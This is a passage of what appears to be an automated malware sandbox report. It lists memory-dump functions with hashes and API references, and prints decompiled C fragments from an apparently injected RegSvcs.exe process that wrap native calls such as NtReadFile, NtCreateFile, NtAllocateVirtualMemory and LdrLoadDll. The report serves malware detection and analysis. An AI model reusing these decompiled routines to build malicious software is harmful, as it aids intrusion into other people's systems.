Opcode ID: ecd1381a8dacc0b00bccf383d47d8d01952b48b276831197f11dcf2d54dd4de5
Instruction ID: 25f5443834889f499af19f9542a5554eb7f24ca275634a270b8f7d71137ee38b
Opcode Fuzzy Hash: ecd1381a8dacc0b00bccf383d47d8d01952b48b276831197f11dcf2d54dd4de5
Instruction Fuzzy Hash: 5F21E6B5D012089FDB10CFA9D584ADEFBF8FB48314F14811AE914A7310D3749955CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 02916DB8, Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 02916E3F

Memory Dump Source

Source File: 00000000.00000002.259440849.0000000002910000.00000040.00000001.sdmp, Offset: 02910000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 8abd62db99ebe5d4cd05a89ffdf741d37ef7c4e10febe612cc84298ada44fff4
Instruction ID: 59ef7263c1bbf470be8929b15dce55cbe837e55f93c6281b562f96a688f85cbf
Opcode Fuzzy Hash: 8abd62db99ebe5d4cd05a89ffdf741d37ef7c4e10febe612cc84298ada44fff4
Instruction Fuzzy Hash: BA21C4B5D002089FDB10CFAAD984AEEBBF8EB48324F14851AE954A3350D374A955CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0291B0E8, Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,0291BE89,00000800,00000000,00000000), ref: 0291C09A

Memory Dump Source

Source File: 00000000.00000002.259440849.0000000002910000.00000040.00000001.sdmp, Offset: 02910000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 447cba5247fd3b81f17d58c6b7068071aa1252763c9bbbf164d33101d6b9bc23
Instruction ID: 010d0df24dca58e775eaa6c7ee5ca3ddf6578e2acd92f91732eb127fc8ccca62
Opcode Fuzzy Hash: 447cba5247fd3b81f17d58c6b7068071aa1252763c9bbbf164d33101d6b9bc23
Instruction Fuzzy Hash: EE1103B69043088FCB10CF9AD444B9EFBF4AB88354F10842AE919A7200C375A945CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 0291C028, Relevance: 1.6, APIs: 1, Instructions: 54libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,0291BE89,00000800,00000000,00000000), ref: 0291C09A

Memory Dump Source

Source File: 00000000.00000002.259440849.0000000002910000.00000040.00000001.sdmp, Offset: 02910000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 332eaab2b4f14e0806a270387473c17d92d75622ce9cd4f0bc60ce8bffd5df64
Instruction ID: f10a9534050345748064bc0f505f7d244295315fe54117f136b3b52fbb62f1a5
Opcode Fuzzy Hash: 332eaab2b4f14e0806a270387473c17d92d75622ce9cd4f0bc60ce8bffd5df64
Instruction Fuzzy Hash: 3011F6B6D003098FDB10DF9AD484BDEFBF4EB88314F15852AD559A7200C375A94ACFA6

Uniqueness

Uniqueness Score: -1.00%

Function 0291BDA8, Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0291BE0E

Memory Dump Source

Source File: 00000000.00000002.259440849.0000000002910000.00000040.00000001.sdmp, Offset: 02910000, based on PE: false

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: ebecff71864a1f63bc83f1919cd0fe08983d521a94b0d384837cf6c78cd97a24
Instruction ID: 906aa68ed1bfc1a6d7b2c78259bd4534afecda44d1bc7fd0a6cff98634a02cec
Opcode Fuzzy Hash: ebecff71864a1f63bc83f1919cd0fe08983d521a94b0d384837cf6c78cd97a24
Instruction Fuzzy Hash: 301110B5D007498FCB10CF9AC444BDEFBF9EF88228F10841AD929A7200C379A546CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0291DEC0, Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,?,?), ref: 0291DF1D

Memory Dump Source

Source File: 00000000.00000002.259440849.0000000002910000.00000040.00000001.sdmp, Offset: 02910000, based on PE: false

Similarity

API ID: LongWindow
String ID:
API String ID: 1378638983-0
Opcode ID: 27257173d8097502d9750adee88d2f2e5636339e2731e65b0d2685f64d8f0d32
Instruction ID: c833a1587dc79e6bdde39ad46844184beadf74ef46d08189dec618912bede105
Opcode Fuzzy Hash: 27257173d8097502d9750adee88d2f2e5636339e2731e65b0d2685f64d8f0d32
Instruction Fuzzy Hash: 621112B59003089FDB10CF9AD484BDEFBF8EB88324F10841AE915A3300C374AA44CFA2

Uniqueness

Uniqueness Score: -1.00%

Function 05E6FC92, Relevance: .1, Instructions: 135COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.268780068.0000000005E60000.00000040.00000001.sdmp, Offset: 05E60000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba0073ae930d3ca4cdbbdff54b145b9070322e5de6a79434347c97de7eb4e9a2
Instruction ID: 7b3f85526d4b7ac42dabbe9be4649a09bb18a33af041d3ee887f7f3708a9ce4c
Opcode Fuzzy Hash: ba0073ae930d3ca4cdbbdff54b145b9070322e5de6a79434347c97de7eb4e9a2
Instruction Fuzzy Hash: C341142428E3C00FE707937059662953F729F87698F1E81CFC0C59E5A7CA9E580B87A2

Uniqueness

Uniqueness Score: -1.00%

Function 05E614B2, Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.268780068.0000000005E60000.00000040.00000001.sdmp, Offset: 05E60000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07eb4f072a652acc8bbf94cbe74bf7a8dce9ab1efe7ed3c69a527c20c0d4efcf
Instruction ID: 9c26670d2191f0c69e6a40146617fbeaaaa6a4f5c7a5336182d27f6ced0ea5db
Opcode Fuzzy Hash: 07eb4f072a652acc8bbf94cbe74bf7a8dce9ab1efe7ed3c69a527c20c0d4efcf
Instruction Fuzzy Hash: E0418174A002198FDF09CF69C984AEEBBF6FF48284F049429E486E7250EB34D941CF60

Uniqueness

Uniqueness Score: -1.00%

Function 05E62EE8, Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.268780068.0000000005E60000.00000040.00000001.sdmp, Offset: 05E60000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d29e57de83e8fb9aeac5a1f49653402556272ccb0f4c369a2250aa36502f194
Instruction ID: ea0c210bc945f07b6dabeca96e5774c164d9c704d32380de023ca9350e015ba4
Opcode Fuzzy Hash: 9d29e57de83e8fb9aeac5a1f49653402556272ccb0f4c369a2250aa36502f194
Instruction Fuzzy Hash: AC31F876E002269FDF24CB6888446FEBBB5FB453D4F005169EAA5B7281C7306C54CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 00D5D4D8, Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.259282441.0000000000D5D000.00000040.00000001.sdmp, Offset: 00D5D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea0ca251f068df1a49ab97ff42811ba488231af8409ca02682f0f0e56f30eb5d
Instruction ID: 9160d44240eb39f1cdd4ceefcbdc33fbd8c0b4f9a8f1ae7a6b28c2dd0a271771
Opcode Fuzzy Hash: ea0ca251f068df1a49ab97ff42811ba488231af8409ca02682f0f0e56f30eb5d
Instruction Fuzzy Hash: 0F210671504240DFDF25CF10D9C0B26BBA6FB98329F348569ED494B246D336D85AC6B2

Uniqueness

Uniqueness Score: -1.00%

Function 0282D32C, Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.259347779.000000000282D000.00000040.00000001.sdmp, Offset: 0282D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e118e7d4a5438aa8c92363df8e29cffcec2f89a18c6ae1f41b4ef621b8bd071e
Instruction ID: 61595694e91d0d5116b982b1d1c6ca4e4490ba5a0c75004fa7b41de249681182
Opcode Fuzzy Hash: e118e7d4a5438aa8c92363df8e29cffcec2f89a18c6ae1f41b4ef621b8bd071e
Instruction Fuzzy Hash: B9210A7D504344DFDB04DF10D5C4B16BFA5FB84318F28C569E9498B246D33AD88ACA61

Uniqueness

Uniqueness Score: -1.00%

Function 0282D01C, Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.259347779.000000000282D000.00000040.00000001.sdmp, Offset: 0282D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d43064247fba0daa5cfd55b926c5938575f4642da8fb66e62ecebd07dce9649
Instruction ID: 150c5b051f81aaf9506dd7edc7f345a5547545c54ff9d8dec627f47b34d27444
Opcode Fuzzy Hash: 0d43064247fba0daa5cfd55b926c5938575f4642da8fb66e62ecebd07dce9649
Instruction Fuzzy Hash: 1721F57D508344DFDB14DF10D8C4B26BFA5FB84318F24C569D9498B256C33AD88BCAA2

Uniqueness

Uniqueness Score: -1.00%

Function 05E663F4, Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.268780068.0000000005E60000.00000040.00000001.sdmp, Offset: 05E60000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d08b7330a04bffc219262ef1d3cc1799b8756c4830a139a72c9b91e29ea7592
Instruction ID: 560433586025575d7cdb11cf6292ff3cad044e8f885c72b1404d56aa9720b8ac
Opcode Fuzzy Hash: 7d08b7330a04bffc219262ef1d3cc1799b8756c4830a139a72c9b91e29ea7592
Instruction Fuzzy Hash: 7911A3343903244BEB08B729D4697AF3297EFC4BD4F109419E5969B3C9CEA5AC4187D2

Uniqueness

Uniqueness Score: -1.00%

Function 0282D007, Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.259347779.000000000282D000.00000040.00000001.sdmp, Offset: 0282D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 160360c486df7d13a5ebdbf7d669964491a85a1400e370edada2ff9792a8a6da
Instruction ID: cd2ad7fe0fde5fcb3ba74f020761a1d1580ea6180f6e4eae6b41feed4c00a078
Opcode Fuzzy Hash: 160360c486df7d13a5ebdbf7d669964491a85a1400e370edada2ff9792a8a6da
Instruction Fuzzy Hash: 782162795093C08FCB12CF24D594715BF71EB46214F28C5DAD8498B667C33A984ACB62

Uniqueness

Uniqueness Score: -1.00%

Function 00D5D4D3, Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.259282441.0000000000D5D000.00000040.00000001.sdmp, Offset: 00D5D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4efb5fac506cb6d7aa5c0f1d29973593692054ca56fa60a1c7fcf354f01aa4b
Instruction ID: d5a96749eeb9ec0b67c400de8142c154cbf20a779a9245497053465645d29f7b
Opcode Fuzzy Hash: b4efb5fac506cb6d7aa5c0f1d29973593692054ca56fa60a1c7fcf354f01aa4b
Instruction Fuzzy Hash: 1A11AF76504280CFCF16CF10D5C4B16BF72FB95325F2886A9DC090B656D33AD85ACBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0282D327, Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.259347779.000000000282D000.00000040.00000001.sdmp, Offset: 0282D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de44a1355ff5dd3688b85d85d30840e22fc529beda2c002cefc06c108532763f
Instruction ID: 1e27d687d288c11f4ab41668d09afcdb2a8f0c05e7f2b6f22b5b4137c3eb44a0
Opcode Fuzzy Hash: de44a1355ff5dd3688b85d85d30840e22fc529beda2c002cefc06c108532763f
Instruction Fuzzy Hash: DE119D79504280DFCB15CF14D6C4B15BFB1FB84324F28C6A9D8498B656C33AD49ACBA1

Uniqueness

Uniqueness Score: -1.00%

Function 05E62B70, Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.268780068.0000000005E60000.00000040.00000001.sdmp, Offset: 05E60000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 524358b1c3d42a2724f302c0e67839eb0df9d36d7abe56f451929009ac9f4af1
Instruction ID: 420970f6503beb9a46900021651426b0a0310b3546981cacf49d60565ac58188
Opcode Fuzzy Hash: 524358b1c3d42a2724f302c0e67839eb0df9d36d7abe56f451929009ac9f4af1
Instruction Fuzzy Hash: 9D11E534B442188FDB48EB64D8647EE76B3EB8C394F145428C942BB384CF745849CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00D5D811, Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.259282441.0000000000D5D000.00000040.00000001.sdmp, Offset: 00D5D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a963752387a1f4f0eefe5aa5e94927940d30d6f64266af2b4dc6c84d44a9a893
Instruction ID: 533064917aac20e390a4920f7fed1ada05a2d55046a4f535ae0f221397a6d4ed
Opcode Fuzzy Hash: a963752387a1f4f0eefe5aa5e94927940d30d6f64266af2b4dc6c84d44a9a893
Instruction Fuzzy Hash: 5A01A77150D3449AEB304A16CCC4766BF98EF55379F18C45AED485B282C779DC48CAB1

Uniqueness

Uniqueness Score: -1.00%

Function 00D5D810, Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.259282441.0000000000D5D000.00000040.00000001.sdmp, Offset: 00D5D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa7a3dcd1b9d926756bcca607100a1dd04623a211845416bcc2c276cfffa995f
Instruction ID: 33de0cb6ecc5a8439d25b138d9df4d309870b7f1481848cce0e6fe7f5cde9bcc
Opcode Fuzzy Hash: aa7a3dcd1b9d926756bcca607100a1dd04623a211845416bcc2c276cfffa995f
Instruction Fuzzy Hash: CAF062B14083449BEB258A1ACCC4B62FFA8EB95774F18C55AED085B686C3799C44CAB1

Uniqueness

Uniqueness Score: -1.00%

Function 05E63050, Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.268780068.0000000005E60000.00000040.00000001.sdmp, Offset: 05E60000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3858def6e08ddab6d4528fdf3cc0dbccf1a64dfc8e9d8cc72d084558c88da82f
Instruction ID: 905e510a051fcd8d89bde64f8d9561baf8e5448c97e8efd3b5e913e02a6b0f12
Opcode Fuzzy Hash: 3858def6e08ddab6d4528fdf3cc0dbccf1a64dfc8e9d8cc72d084558c88da82f
Instruction Fuzzy Hash: 80F090312147414BC360DF28D485A9BB3E2EBC4318F06CE29E0CADB650EB74AD0A8B91

Uniqueness

Uniqueness Score: -1.00%

Function 05E61ED0, Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.268780068.0000000005E60000.00000040.00000001.sdmp, Offset: 05E60000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8dfb0981f02ed813fa3484c3b1d57219e8b4dc8378e706ee41f0cb36c67cdb4a
Instruction ID: aeb1d0fc41b67484b4b1f8aa2abca294b7e3273a4e7582fcbcd4c5b2bd04a179
Opcode Fuzzy Hash: 8dfb0981f02ed813fa3484c3b1d57219e8b4dc8378e706ee41f0cb36c67cdb4a
Instruction Fuzzy Hash: ABE09B3634525102D72962B9B04466F6B9DABC1294B18417EDC4A87686CFA1D4038355

Uniqueness

Uniqueness Score: -1.00%

Function 05E62530, Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.268780068.0000000005E60000.00000040.00000001.sdmp, Offset: 05E60000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6e11145a80b577f99bd7214c706e8823d9554d563142b1e8e5f4d26f96988e0
Instruction ID: 77ab35de816c65951ffd344d3af7a5d6f7414b278bfee75a8fc2dde75533c521
Opcode Fuzzy Hash: e6e11145a80b577f99bd7214c706e8823d9554d563142b1e8e5f4d26f96988e0
Instruction Fuzzy Hash: FDE0923A3412108F5754DAB8E0118A633ABFB4D6A93024066E28EC7721EF31FC018F92

Uniqueness

Uniqueness Score: -1.00%

Function 05E61E88, Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.268780068.0000000005E60000.00000040.00000001.sdmp, Offset: 05E60000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76a14fa0d629bd4f6a2b237a973dba952b59aec8d78e9e525efc0386dca850a9
Instruction ID: b93e597708ccf9c1582ec67e5929945f05fe2f01f86685e36ad8439222cfa103
Opcode Fuzzy Hash: 76a14fa0d629bd4f6a2b237a973dba952b59aec8d78e9e525efc0386dca850a9
Instruction Fuzzy Hash: FED05B74A0120CEF8F40DFA8F94246DB7B5EB44204B1044D8D809E7280DF311F109B51

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0291C2B0, Relevance: .5, Instructions: 522COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.259440849.0000000002910000.00000040.00000001.sdmp, Offset: 02910000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1891cda5f6e9cff8cd070b408bef735fd2d52fd8752d64e01600a435dcbba8a2
Instruction ID: 65a93eb32f84cb9a824e716331a5d219a7b9e81df141d36f4a27e29c0b196252
Opcode Fuzzy Hash: 1891cda5f6e9cff8cd070b408bef735fd2d52fd8752d64e01600a435dcbba8a2
Instruction Fuzzy Hash: A95268B1F897068BD710CF15E4881A97BB1FF44328FD28A09D1665BAD1D3B8646ACFC4

Uniqueness

Uniqueness Score: -1.00%

Function 029199A0, Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.259440849.0000000002910000.00000040.00000001.sdmp, Offset: 02910000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16b09479369387b9aaa48b6069781269dffc052925cdde29b3d5a0e54b6413b1
Instruction ID: 673b8bd35f02c1343190a27322cd076a621d67712bcaa6aff1a7eee7a8721a15
Opcode Fuzzy Hash: 16b09479369387b9aaa48b6069781269dffc052925cdde29b3d5a0e54b6413b1
Instruction Fuzzy Hash: ADA17032E006198FCF05DFA6C8545EDB7B7FF85304B15856AE906BB261EB31A916CF40

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: RegSvcs.exe PID: 3608 Parent PID: 1528 RegSvcs.exeCOMMON

Executed Functions

Function 0041826A, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 38
filenativeCOMMON

Download Yara Rule

C-Code - Quality: 23%

			E0041826A(void* __eax, void* __edx, intOrPtr _a4, char _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, char _a32, intOrPtr _a36, intOrPtr _a40) {
				void* _t21;
				void* _t32;
				void* _t33;
				intOrPtr* _t34;
				void* _t36;

				asm("sbb edi, [esi]");
				 *(__eax - 0x46) =  *(__eax - 0x46) & 0x00000055;
				_t16 = _a4;
				_t34 = _a4 + 0xc48;
				E00418DC0(_t32, _a4, _t34,  *((intOrPtr*)(_t16 + 0x10)), 0, 0x2a);
				_t8 =  &_a32; // 0x413d52
				_t14 =  &_a8; // 0x413d52
				_t21 =  *((intOrPtr*)( *_t34))( *_t14, _a12, _a16, _a20, _a24, _a28,  *_t8, _a36, _a40, _t33, _t36); // executed
				return _t21;
			}

0x0041826b
0x0041826d
0x00418273
0x0041827f
0x00418287
0x00418292
0x004182ad
0x004182b5
0x004182b9

APIs

NtReadFile.NTDLL(R=A,5E972F59,FFFFFFFF,00413A11,?,?,R=A,?,00413A11,FFFFFFFF,5E972F59,00413D52,?,00000000), ref: 004182B5

Strings

R=A, xrefs: 00418292, 004182A0
R=A, xrefs: 004182AD, 004182B4

Memory Dump Source

Source File: 00000004.00000002.320281190.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FileRead
String ID: R=A$R=A
API String ID: 2738559852-3742021989
Opcode ID: 712d254602810b3f92ebac51c1069e946d1ef66785910d3543558a5922c43795
Instruction ID: 5bc1798a4f27af34eb2e79c405e38270c31ea9138f7da5dc252c5d25e2ef6701
Opcode Fuzzy Hash: 712d254602810b3f92ebac51c1069e946d1ef66785910d3543558a5922c43795
Instruction Fuzzy Hash: AEF0EC72214108AFCB14DF99DC94EEB77A9AF8C714F15864CFA5D97241C630E815CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00418270, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36
filenativeCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E00418270(intOrPtr _a4, char _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, char _a32, intOrPtr _a36, intOrPtr _a40) {
				void* _t18;
				void* _t27;
				intOrPtr* _t28;

				_t13 = _a4;
				_t28 = _a4 + 0xc48;
				E00418DC0(_t27, _t13, _t28,  *((intOrPtr*)(_t13 + 0x10)), 0, 0x2a);
				_t6 =  &_a32; // 0x413d52
				_t12 =  &_a8; // 0x413d52
				_t18 =  *((intOrPtr*)( *_t28))( *_t12, _a12, _a16, _a20, _a24, _a28,  *_t6, _a36, _a40); // executed
				return _t18;
			}

0x00418273
0x0041827f
0x00418287
0x00418292
0x004182ad
0x004182b5
0x004182b9

APIs

NtReadFile.NTDLL(R=A,5E972F59,FFFFFFFF,00413A11,?,?,R=A,?,00413A11,FFFFFFFF,5E972F59,00413D52,?,00000000), ref: 004182B5

Strings

R=A, xrefs: 00418292, 004182A0
R=A, xrefs: 004182AD, 004182B4

Memory Dump Source

Source File: 00000004.00000002.320281190.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FileRead
String ID: R=A$R=A
API String ID: 2738559852-3742021989
Opcode ID: d4a5a74702051ab3f1355cb9c04464ae45872bc81882c1ce62b08827cfd1deed
Instruction ID: 44195af4cfcd7844dc5464a96f27935e8bb9154da72c22cdf586d036b66e8624
Opcode Fuzzy Hash: d4a5a74702051ab3f1355cb9c04464ae45872bc81882c1ce62b08827cfd1deed
Instruction Fuzzy Hash: 8EF0A4B2200208ABCB14DF89DC81EEB77ADAF8C754F158649BA1D97241DA30E8518BA4

Uniqueness

Uniqueness Score: -1.00%

Function 00409B20, Relevance: 1.5, APIs: 1, Instructions: 48
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00409B20(void* _a4, intOrPtr _a8) {
				char* _v8;
				struct _EXCEPTION_RECORD _v12;
				struct _OBJDIR_INFORMATION _v16;
				char _v536;
				void* _t15;
				struct _OBJDIR_INFORMATION _t17;
				struct _OBJDIR_INFORMATION _t18;
				void* _t30;
				void* _t31;
				void* _t32;

				_v8 =  &_v536;
				_t15 = E0041AB50( &_v12, 0x104, _a8);
				_t31 = _t30 + 0xc;
				if(_t15 != 0) {
					_t17 = E0041AF70(__eflags, _v8);
					_t32 = _t31 + 4;
					__eflags = _t17;
					if(_t17 != 0) {
						E0041B1F0( &_v12, 0);
						_t32 = _t32 + 8;
					}
					_t18 = E00419300(_v8);
					_v16 = _t18;
					__eflags = _t18;
					if(_t18 == 0) {
						LdrLoadDll(0, 0,  &_v12,  &_v16); // executed
						return _v16;
					}
					return _t18;
				} else {
					return _t15;
				}
			}

0x00409b3c
0x00409b3f
0x00409b44
0x00409b49
0x00409b53
0x00409b58
0x00409b5b
0x00409b5d
0x00409b65
0x00409b6a
0x00409b6a
0x00409b71
0x00409b79
0x00409b7c
0x00409b7e
0x00409b92
0x00000000
0x00409b94
0x00409b9a
0x00409b4e
0x00409b4e
0x00409b4e

APIs

LdrLoadDll.NTDLL(00000000,00000000,00000003,?), ref: 00409B92

Memory Dump Source

Source File: 00000004.00000002.320281190.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 54eed7fb54c4bb33c5ecf3c62be074d2fec7e96364ab3bba8fcd8ce07f2b6dc1
Instruction ID: f6872c6640a97d379917802917a35d8835196bd2b620e753e6f67e56f73dccdd
Opcode Fuzzy Hash: 54eed7fb54c4bb33c5ecf3c62be074d2fec7e96364ab3bba8fcd8ce07f2b6dc1
Instruction Fuzzy Hash: EC0100B5D0010DBBDB10DAA5EC42FDEB778AB54318F0041A9A908A7281F635EA54C795

Uniqueness

Uniqueness Score: -1.00%

Function 0041839A, Relevance: 1.5, APIs: 1, Instructions: 44memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(00003000,?,00000000,?,00418F94,?,00000000,?,00003000,00000040,00000000,00000000,00408AF3), ref: 004183D9

Memory Dump Source

Source File: 00000004.00000002.320281190.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: f364bf8c9331354fc25521001d0875fe427136029e76d896646fdd7160226428
Instruction ID: f0b109b1879c6c4749f1b14aa5bfd00e75580280b1243ee1f45b45872d64b51b
Opcode Fuzzy Hash: f364bf8c9331354fc25521001d0875fe427136029e76d896646fdd7160226428
Instruction Fuzzy Hash: 39F08CB5200149ABCB14DF99EC84CF777ADEF88320714865EFD5C87202C634E8558BB0

Uniqueness

Uniqueness Score: -1.00%

Function 004181C0, Relevance: 1.5, APIs: 1, Instructions: 40
filenativeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004181C0(intOrPtr _a4, HANDLE* _a8, long _a12, struct _EXCEPTION_RECORD _a16, struct _ERESOURCE_LITE _a20, struct _GUID _a24, long _a28, long _a32, long _a36, long _a40, void* _a44, long _a48) {
				long _t21;
				void* _t31;

				_t3 = _a4 + 0xc40; // 0xc40
				E00418DC0(_t31, _a4, _t3,  *((intOrPtr*)(_a4 + 0x10)), 0, 0x28);
				_t21 = NtCreateFile(_a8, _a12, _a16, _a20, _a24, _a28, _a32, _a36, _a40, _a44, _a48); // executed
				return _t21;
			}

0x004181cf
0x004181d7
0x0041820d
0x00418211

APIs

NtCreateFile.NTDLL(00000060,00408AF3,?,00413B97,00408AF3,FFFFFFFF,?,?,FFFFFFFF,00408AF3,00413B97,?,00408AF3,00000060,00000000,00000000), ref: 0041820D

Memory Dump Source

Source File: 00000004.00000002.320281190.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 255eac8f353b7b8934ff6a71ff904c2473dc3201d920852afcf054611f931be4
Instruction ID: 76db84dd9462a71377061bd321799a59568980bd09e0245c51acac76316ecf65
Opcode Fuzzy Hash: 255eac8f353b7b8934ff6a71ff904c2473dc3201d920852afcf054611f931be4
Instruction Fuzzy Hash: 52F0B6B2200208ABCB08CF89DC85DEB77ADAF8C754F158248FA0D97241C630E8518BA4

Uniqueness

Uniqueness Score: -1.00%

Function 004183A0, Relevance: 1.5, APIs: 1, Instructions: 30
memorynativeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004183A0(intOrPtr _a4, void* _a8, PVOID* _a12, long _a16, long* _a20, long _a24, long _a28) {
				long _t14;
				void* _t21;

				_t3 = _a4 + 0xc60; // 0xca0
				E00418DC0(_t21, _a4, _t3,  *((intOrPtr*)(_a4 + 0x10)), 0, 0x30);
				_t14 = NtAllocateVirtualMemory(_a8, _a12, _a16, _a20, _a24, _a28); // executed
				return _t14;
			}

0x004183af
0x004183b7
0x004183d9
0x004183dd

APIs

NtAllocateVirtualMemory.NTDLL(00003000,?,00000000,?,00418F94,?,00000000,?,00003000,00000040,00000000,00000000,00408AF3), ref: 004183D9

Memory Dump Source

Source File: 00000004.00000002.320281190.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: b2c7a9f16f7248b886659db27fd6bc2ac43cd74a54ece53f3674161978f52f4b
Instruction ID: ed05b43336be2385218ce2c210938f1a749d46cd8ec257da0df7421e0e4bafff
Opcode Fuzzy Hash: b2c7a9f16f7248b886659db27fd6bc2ac43cd74a54ece53f3674161978f52f4b
Instruction Fuzzy Hash: BCF015B2200208ABCB14DF89DC81EEB77ADAF88754F118549FE0897241CA30F810CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 004182EE, Relevance: 1.5, APIs: 1, Instructions: 20
nativeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004182EE(void* __ecx, intOrPtr _a4, void* _a8) {
				long _t8;
				void* _t13;

				_t5 = _a4;
				_t2 = _t5 + 0x10; // 0x300
				_t3 = _t5 + 0xc50; // 0x409743
				E00418DC0(_t13, _a4, _t3,  *_t2, 0, 0x2c);
				_t8 = NtClose(_a8); // executed
				return _t8;
			}

0x004182f3
0x004182f6
0x004182ff
0x00418307
0x00418315
0x00418319

APIs

NtClose.NTDLL(00413D30,?,?,00413D30,00408AF3,FFFFFFFF), ref: 00418315

Memory Dump Source

Source File: 00000004.00000002.320281190.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: 06fd322942ba128755f532ab5c10288b09902957ba08c603db56d4d971c22364
